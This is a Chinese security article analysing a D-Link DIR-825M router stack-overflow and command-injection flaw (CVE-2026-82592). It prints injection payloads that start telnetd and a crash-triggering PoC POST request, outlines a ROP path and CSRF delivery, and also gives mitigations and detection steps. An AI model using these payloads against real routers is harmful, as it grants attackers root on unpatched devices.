【漏洞分析】132字节栈溢出如何拿下Root:D-Link路由器CVE-2026-82592POST请求到RCE全链拆解

admin 2026-09-07 04:20:10 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: D-LinkDIR-825M路由器固件v1.1.8的formDiskFormat接口存在CVE-2026-82592漏洞,CVSS评分9.9。该接口对partition参数缺乏校验,导致132字节栈缓冲区溢出和命令注入,攻击者可远程以root权限执行任意命令或致服务崩溃。PoC已公开,厂商未发布补丁。建议用户关注官方固件更新,避免管理端口暴露公网,并排查共享固件代码库的其他型号。 综合评分: 95 文章分类: 漏洞分析,漏洞预警,应急响应


【漏洞分析】132 字节栈溢出如何拿下 Root:D-Link 路由器 CVE-2026-82592 POST 请求到 RCE 全链拆解

原创

Hack说 Hack说

Hack说

2026年9月1日 20:29 天津

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

Hack说|全球安全资讯 · 深度解读

导读:D-Link DIR-825M 固件 v1.1.8 的磁盘格式化接口被曝 CVSS 9.9 高危漏洞。Web 管理端的 formDiskFormat 接口对用户可控的 partition 参数不做任何校验——先用 sprintf 拼进一个仅 132 字节的栈缓冲(超长即覆盖返回地址),再原样交给 system() 执行(shell 元字符直接命令注入)。攻击者远程发一个 POST,就能以 root 权限执行任意命令,或把 Web 服务直接打崩。PoC 已公开。


一、事件速览

| 项目 | 内容 | | — | — | | 漏洞编号 | CVE-2026-82592 | | 漏洞名称 | D-Link DIR-825M Disk Formatting Handler(formDiskFormat)栈缓冲区溢出 | | 类型 | 栈缓冲区溢出(CWE-121)+ 命令注入(CWE-78)→ 远程代码执行(RCE) | | CVSS 评分 | CVSS 3.1:9.9(Critical);CVSS 4.0:8.6(High) | | 受影响产品 | D-Link DIR-825M 固件 v1.1.8(共享同一固件代码库的其他型号需一并排查) | | 受影响组件 | Web 管理端磁盘格式化接口 POST /boafrm/formDiskFormat(BOA Web 框架) | | 脆弱函数 | sub_46725C ,用户可控参数 partition | | 利用前置 | 能访问设备 Web 管理端口(默认 80/443) | | 利用结果 | 以 root 权限执行任意命令 / 使 Web 服务崩溃(DoS) | | PoC 状态 | 已公开(崩溃触发载荷;复现环境 FirmaE 仿真 + Burp Repeater) | | 修复状态 | 披露时厂商未给出补丁细节,暂无官方修复版本说明 |

一句话:同一个 partition 参数,既能让 sprintf 写穿 132 字节的栈(覆盖 MIPS 的 $ra),又能让 system() 把 shell 元字符原样执行——栈溢出与命令注入双重叠加,一个接口两种玩法,落地都是 root。

时间线

| 时间 | 事件 | | — | — | | 2026-08-30 | NVD 收录 CVE-2026-82592(公开 PoC 报告同步公开) | | 披露时 | 厂商未公布补丁细节,暂无官方修复版本说明 |

⚠️ 说明:截至本文撰写时,该漏洞补丁未到、PoC 已公开,处于典型的”无补可打”窗口期;请以 D-Link 官方固件更新为准。


二、漏洞核心:同一个参数,两条致命路径

2.1 受害函数:sub_46725C

漏洞出在处理分区格式化的 sub_46725C 函数。它从 HTTP POST 请求里取出用户可控的 partition 参数,不做任何过滤、校验和长度检查:

v2 = (const char *)sub_41351C(a1, ”partition”, ””);

拿到参数后,函数立刻干了两件危险的事——sprintf 拼命令、system 执行。

2.2 路径一:栈溢出(CWE-121)——sprintf 无边界检查

本地栈缓冲 v9 只有 132 字节,但 sprintf 完全不做边界检查:

char v9[132];sprintf(v9, ”mkdir -p /var/tmp/usb/%s >/dev/null 2>&1”, v2);

当 partition 超过约90 字节时,写入就会越过 v9 的边界,覆盖栈帧里保存的帧指针与返回地址(在 MIPS/ARM 上就是 $ra)——控制流直接被劫持。

2.3 路径二:命令注入(CWE-78)——system() 直接执行

更致命的是,拼好的命令会被原样交给 system():

sprintf(v9, ”umount /dev/%s >/dev/null 2>&1”, v2);system(v9);

partition 里的 ;、&、| 等 shell 元字符原样进入了命令行。传入 sda1;+sleep+5;,实际执行的就是:

umount /dev/sda1; sleep 5; >/dev/null 2>&1

命令注入当场成立。也就是说,同一个漏洞存在两条利用路径:堆栈打返回地址走 ROP,或者干脆用元字符直接跑命令——后者难度低得多。

2.4 为什么”裸 MIPS”进一步降低了利用门槛

公开分析指出,该固件是裸 MIPS 环境:无 ASLR、无栈 canary。这意味着:

  • 栈溢出的偏移一旦算准,$ra 覆盖后的目标地址是固定的,不需要对抗地址随机化;
  • 不存在 canary 校验,sprintf 覆盖到返回地址即可直接用 ROP 链调用 system("/bin/sh");
  • 相对 x86 上的同类漏洞,这里连”泄漏地址”这一步都省了——利用工程难度显著低于普通路由器漏洞。

以 MIPS 栈帧为例,v9 溢出后的内存布局大致是:

| 栈偏移(相对 v9) | 内容 | 被覆盖后果 | | — | — | — | | +0x00 | v9[132] (命令字符串) | 正常缓冲区 | | +0x84 (约 132 字节处) | 保存的帧指针($fp) | 控制流辅助破坏 | | +0x88 (约 136 字节处) | 保存的返回地址($ra) | 劫持点:partition 超 ~90 字节即到达此处 |

这也是为什么报告给出”约 90 字节”这个阈值:sprintf 前缀 mkdir -p /var/tmp/usb/ 等固定串约占 40 字节,再扣除 NUL 结尾,用户输入超过约 90 字节就足以把 $ra 覆盖到受控值。

2.5 背景:BOA 框架与 /boafrm/ 接口体系

/boafrm/formDiskFormat 是 BOA Web 服务器框架暴露的 CGI 式处理接口。BOA 是嵌入式设备最常见的轻量 Web 服务器之一,它的典型处理模式是:把每个 form 请求的字段直接交给对应的 C 处理函数——而这里的 sub_46725C 就是磁盘格式化 form 的后端处理器。这类接口的参数几乎全部来自用户可控的 POST 字段,一旦处理器缺少校验,整条 /boafrm/* 链路都会成为攻击面。


三、可达性:谁最容易被打

3.1 触发前置

| 前置 | 说明 | | — | — | | Web 管理端口可达 | 设备 80/443 管理页面可访问(局域网或暴露到公网) | | 接口存在 | /boafrm/formDiskFormat 存在(返回 200/302 而非 404) | | 版本匹配 | 固件为 v1.1.8(或共享同一代码库的其他型号) |

3.2 典型攻击场景

  1. 公网暴露面:家用/SOHO 路由器的 80/443 管理端口如果被运营商 NAT 或用户自行映射到公网,就是直接可打的远程目标;
  2. 内网横向:攻击者进入内网后,DIR-825M 这类设备是绝佳跳板——拿到 root 后可作为流量中转、内网横向的落脚点;
  3. 钓鱼/CSRF:由于是纯 POST 且无 CSRF 防护依赖,诱导管理员在已登录状态下访问恶意页面,即可借管理员的浏览器把请求打到管理端口——设备管理面板不直接对公网开放时,这条路依然成立。

3.3 接口存在性检测(零副作用)

  • “` curl -s -o /dev/null -w ”%{http_code}” http://<路由器IP>/boafrm/formDiskFormat
  返回&nbsp;200 或 302(而非 404)说明接口存在;

* 再核对固件版本是否为 v1.1.8;
* 公网暴露面扫描时,重点看 80/443 端口的管理页面是否为 D-Link DIR-825M。

### 3.4 红队视角:为什么"路由器 root"值得打

这个漏洞对红队/攻击者的价值可以浓缩为两个字:root。

* 实战定位:家用/SOHO 路由器打点后是绝佳的持久化跳板——流量中转、内网横向的落脚点;DIR-825M 这类设备固件老旧、用户从不升级,公网存量很大;
* 利用门槛低:命令注入路径连溢出知识都不需要,一个 Burp 就能打;
* 关键前置:能碰到管理端口即可——所以钓鱼场景(诱导管理员访问恶意页面打 CSRF)或已进内网后的横向场景里非常好用;
* 难被发现:设备没有安全日志与监控,被打上后门后几乎不会引起用户注意。

---

## 四、攻击链拆解:两种打法

### 4.1 打法一:命令注入(简单)

在 partition 参数里填 shell 元字符载荷即可:

partition=sda1;+telnetd;

system() 会以root权限执行,直接拉起 telnetd 等后门服务。这条路径连溢出都不需要碰,成功率取决于接口是否可达,一个 Burp 就能打。

以 partition=sda1;+id;+echo+owned; 为例,system() 实际拼出的命令是:

umount /dev/sda1; id; echo owned; >/dev/null 2>&1

* `umount /dev/sda1`

  是"正常"的前半段(失败也无妨,`;`&nbsp;不中断后续);
* `id; echo owned`

  是攻击者注入的任意命令;
* 末尾的&nbsp;`>/dev/null 2>&1`&nbsp;是原模板的尾部,恰好帮攻击者吞掉了输出噪音。

攻击者唯一要处理的是把结果读回来——常见做法是注入的命令把输出写到一个可访问的文件(如 /tmp 下由 Web 服务可读的位置),再通过管理页面或另一个请求读回。

### 4.2 打法二:栈溢出(进阶)

按 MIPS 架构计算偏移,发送超长 partition 覆盖 $ra,随后接 ROP 链调用 system("/bin/sh")。由于固件无 ASLR、无栈 canary,利用难度反而比常规平台更低。

### 4.3 公开 PoC 请求(崩溃触发载荷)

公开 PoC 走栈溢出路径:发一个超长 partition,栈被写坏,Web 服务守护进程直接段错误崩溃。复现请求关键部分如下(Burp Repeater 中可直接发送):

* ```
  POST&nbsp;/boafrm/formDiskFormat HTTP/1.1Host:&nbsp;192.168.0.1Content-Length:&nbsp;655Content-Type: application/x-www-form-urlencodedCookie: webuicookie=16041526311804289383&nbsp;partition=sda1aaaa...(超长填充)&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm

复现环境:FirmaE 固件仿真起虚拟设备 + Burp Repeater 发包;

  • 结果:填充足够长后 Web 服务进程崩溃,管理面板彻底打不开(DoS);
  • 公开的是崩溃触发载荷,未包含完整 EXP——system() 命令注入与 ROP 链需要自行完成。

4.4 两种打法的技术对比

| 维度 | 命令注入路径 | 栈溢出路径 | | — | — | — | | 复杂度 | 低(会拼 shell 即可) | 中(MIPS 偏移计算 + ROP 构造) | | 前置 | 接口可达 + 元字符不被过滤 | 接口可达 + 偏移计算 | | 可靠性 | 高(system() 直接执行) | 中(依赖栈布局稳定) | | 典型载荷 | partition=sda1;+telnetd; | 超长填充 + ROP 链 → system("/bin/sh") | | 通用性 | 命令被执行的接口都能打 | 仅对固定固件版本有效 |

红队视角下,这两条路径互为补充:先试命令注入(成本几乎为零),不行再退栈溢出——无论哪条,终点都是 root。

4.5 复现环境搭建(FirmaE)

公开 PoC 的复现走的是”固件仿真”路线,不需要真实设备:

# 1. 使用 FirmaE(Firmware Analysis and Emulation)解包并仿真 D-Link 固件python3 firmAE.py -r# 2. 启动后,在宿主机用 Burp Repeater 或 curl 直接访问仿真出来的 Web 服务# &nbsp; &nbsp;(默认 192.168.0.1 的 80/443 端口)curl -s -o /dev/null -w ”%{http_code}\n” http://<仿真IP>/boafrm/formDiskFormat# 3. 发送超长 partition 触发崩溃,观察仿真环境中 Web 服务进程是否段错误退出

仿真环境的优势是可销毁、可反复试错:即使打崩 Web 服务,重启仿真进程即可恢复,非常适合验证栈偏移与 DoS 行为。


五、影响与同类问题

5.1 影响规模

  • 设备定位:DIR-825M 是典型的家用/SOHO 路由器,固件老旧、用户从不升级,公网存量很大;
  • 利用结果:root 权限——设备上最高权限,可持久化后门、流量中转、内网横向;
  • CVSS 9.9 的依据:远程可触发(AV:N)+ 无权限前置(PR:N)+ 高影响(CIA 全击穿);
  • 防护面:Web 管理面板一旦暴露,这台设备基本等于”裸奔”。

5.2 系统性隐患:BOA Web 框架的参数处理问题

公开分析特别指出一个值得警惕的信号:DIR-825M 今年已连续爆出多个/boafrm/前缀接口的溢出(如 formWanConfigSetup、formLtefotaUpgradeFibocom 等)。这说明:

  • 问题不是单个接口写错,而是整个 BOA Web 框架的参数处理方式存在系统性问题;
  • 同一固件里大概率还有没被公开的同型漏洞,值得继续挖掘;
  • 共享同一固件代码库的其他 D-Link 型号,即便不是 DIR-825M,也可能同样中招——排查时不能只看这一台。

5.3 攻击者的”投入产出”视角

  • 存量:DIR-825M 这类设备上市多年、出货量大、公网暴露面广——即使单台价值低,”数量 x 可自动化”的红利也很可观;
  • 持久化:root 权限意味着可写入非易失存储、修改启动脚本,后门可跨重启存活;
  • 跳板价值:路由器是内网流量咽喉,配合 DNS 劫持、流量嗅探,可长期静默存在;
  • 防检测:设备本身几乎没有安全日志与监控,被植入后门后很难被用户发现——这也正是这类设备成为攻击者”沉默资产”的原因。

六、修复、缓解与善后

6.1 修复建议

  • 关注 D-Link 官方固件更新,有新版本立即升级(披露时暂无官方修复版本说明);
  • 缓解措施:关闭 WAN 侧远程管理,管理界面仅限内网访问;
  • 不需要磁盘格式化功能的用户,避免使用该功能入口。

6.2 防护侧(更彻底的做法)

  • 把 BOA 服务从 WAN 侧完全屏蔽,比单纯打补丁更彻底——即使存在未公开的同型漏洞,也不具备远程入口;
  • 内网资产盘点时,把 DIR-825M(及共享固件代码库的型号)列入高危清单,纳入重点盯防;
  • 定期检查管理端口是否被意外映射到公网。

6.3 排查是否被利用

  • 设备上是否有异常进程(如 telnetd/bin/sh 派生进程);
  • 管理页面是否有异常的历史登录来源;
  • 流量侧是否出现针对 /boafrm/formDiskFormat 的异常请求(超长 partition、含 ;``&``| 的载荷)。

6.4 应急检查清单

  1. 确认暴露面:设备管理端口是否被映射到公网;/boafrm/formDiskFormat 是否返回 200/302;
  2. 核对版本:固件是否为 v1.1.8;同系列共享代码库的型号一并排查;
  3. 收敛入口:立即关闭 WAN 侧远程管理,管理界面限内网;对无法确认安全的设备,直接断开公网映射;
  4. 取证留痕:导出设备配置、记录异常进程与登录日志,作为后续溯源依据;
  5. 跟踪补丁:关注 D-Link 官方固件更新,发布后尽快升级并验证修复。

七、技术点评(个人分析)

1.sprintf+system()的组合,是嵌入式固件的”祖传手艺”

这两个函数加起来,等于”把不可信输入拼进命令再执行”的标准模板——sprintf 不检查长度,system 不隔离 shell 语义。对 2020 年代的路由器固件还出现这种组合,说明大量嵌入式固件仍然停留在”能用就行”的工程水准:编译期没有强制安全检查,代码评审没有覆盖到 Web 参数到系统命令的整条链路。这也是为什么路由器漏洞总是一波接一波。

  1. 栈溢出与命令注入”二合一”,让利用面陡增

通常一个漏洞只有一种主要利用方式,而这里两种打法并存:命令注入路径零门槛(会拼 shell 即可),栈溢出路径则是”进阶玩法”。对防守方这意味着:你既要防”用户输入被拼进命令”,又要防”用户输入被拼进内存”——两条不同的防线,缺一条都不行。而对攻击者,复杂度最低的那条路(命令注入)往往才是实际被采用的路。

  1. “裸 MIPS”三无环境,是把利用难度直接写进固件

无 ASLR、无栈 canary、无系统调用过滤,意味着栈溢出利用不需要泄漏、不需要爆破地址、不需要绕过防护——固件的安全防护水平,直接决定了漏洞的利用成本。这也是物联网设备漏洞”泛滥但难治理”的根源:不是洞有多深,而是壳有多薄。对采购方,厂商是否在固件里启用现代内存防护,应当成为选型的安全指标之一。

  1. 家用路由器是攻击链里的”沉默跳板”

路由器的价值从来不在设备本身,而在它所在的网络位置:它是局域网流量的咽喉,是攻击者进入内网后的理想落点。拿到 root 后,可以做流量嗅探、DNS 劫持、内网横向的跳板——而用户往往毫无感知。这类”固件老旧、从不升级、存量巨大”的设备,本质上就是攻击者的公共资源池。

  1. “接口级系统性问题”比单个 CVE 更值得警惕

formWanConfigSetup、formLtefotaUpgradeFibocom、formDiskFormat……同一个 /boafrm/ 前缀反复中招,说明这是框架层面的结构性缺陷,而不是某个函数的一次性疏忽。对研究者和防守方都是同一个信号:这个固件/框架的攻击面还没被充分挖掘,且挖出来的洞大概率不止这几个。防御时,与其逐洞补丁,不如从”屏蔽整类接口入口”的层面做收敛。

  1. 给国内用户的落地建议

其一,家用/SOHO 路由器默认关闭 WAN 侧远程管理,管理面板只允许内网访问;其二,关注官方固件更新并尽快升级(同时留意同系列其他型号);其三,资产台账里把 D-Link 系设备标记为高危,定期检查管理端口暴露情况;其四,办公网络里这类设备建议单独划 VLAN 并与核心业务隔离,避免被打点后横向扩散。

  1. PoC 公开但无官方补丁:这恰恰是最危险的”窗口期”

与”厂商先发补丁、研究后披露”的常规流程不同,本漏洞披露时厂商尚无修复版本——PoC 已公开,补丁未到,这意味着当前正处于”漏洞可打、无补可打”的裸窗口。对这类情况,唯一能做的就是用网络层面控制补足软件层面缺失:关 WAN 远程管理、屏蔽 BOA 端口、隔离设备网段。记住一个原则:当补丁迟到时,收敛暴露面就是唯一有效的”补丁”。


附录:完整 PoC 获取方式

本文为完整技术分析。完整 PoC 材料(上游公开的 formDiskFormat 复现报告,含完整触发请求、FirmaE 复现环境截图与说明)不随文粘贴。该报告由研究员Robots10在 FirmaE 仿真环境 + Burp Repeater 下复现并公开。

获取方式:关注本公众号,在后台回复关键词CVE-2026-82592(或cve-2026-82592),即可获取完整 PoC 的下载链接。

⚠️ 该 PoC 仅供安全研究、漏洞验证与防御性测试使用。利用会以 root 权限执行命令或使设备 Web 服务崩溃,请在可销毁的仿真环境(如 FirmaE)中运行,勿对未授权或生产设备使用。


参考链接

  • NVD:CVE-2026-82592
  • CVE 官方记录:CVE-2026-82592
  • D-Link 官方网站:https://www.dlink.com/(固件更新与安全公告)
  • 第三方分析(VulDB):CVE-2026-82592

免责声明:本文技术细节来自上述公开资料(NVD/CVE 记录、公开 PoC 复现报告);厂商披露时未公布修复细节,文中”裸 MIPS 无 ASLR/无 canary””命令注入可拉起 telnetd”等表述为基于公开报告与通用嵌入式漏洞知识的分析推断,非厂商官方实锤;受影响版本与修复信息请以 D-Link 官方公告为准。PoC 仅供安全研究,请遵守授权边界。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Hack说 Hack说 Hack说《【漏洞分析】132 字节栈溢出如何拿下 Root:D-Link 路由器 CVE-2026-82592 POST 请求到 RCE 全链拆解》

    评论:0   参与:  0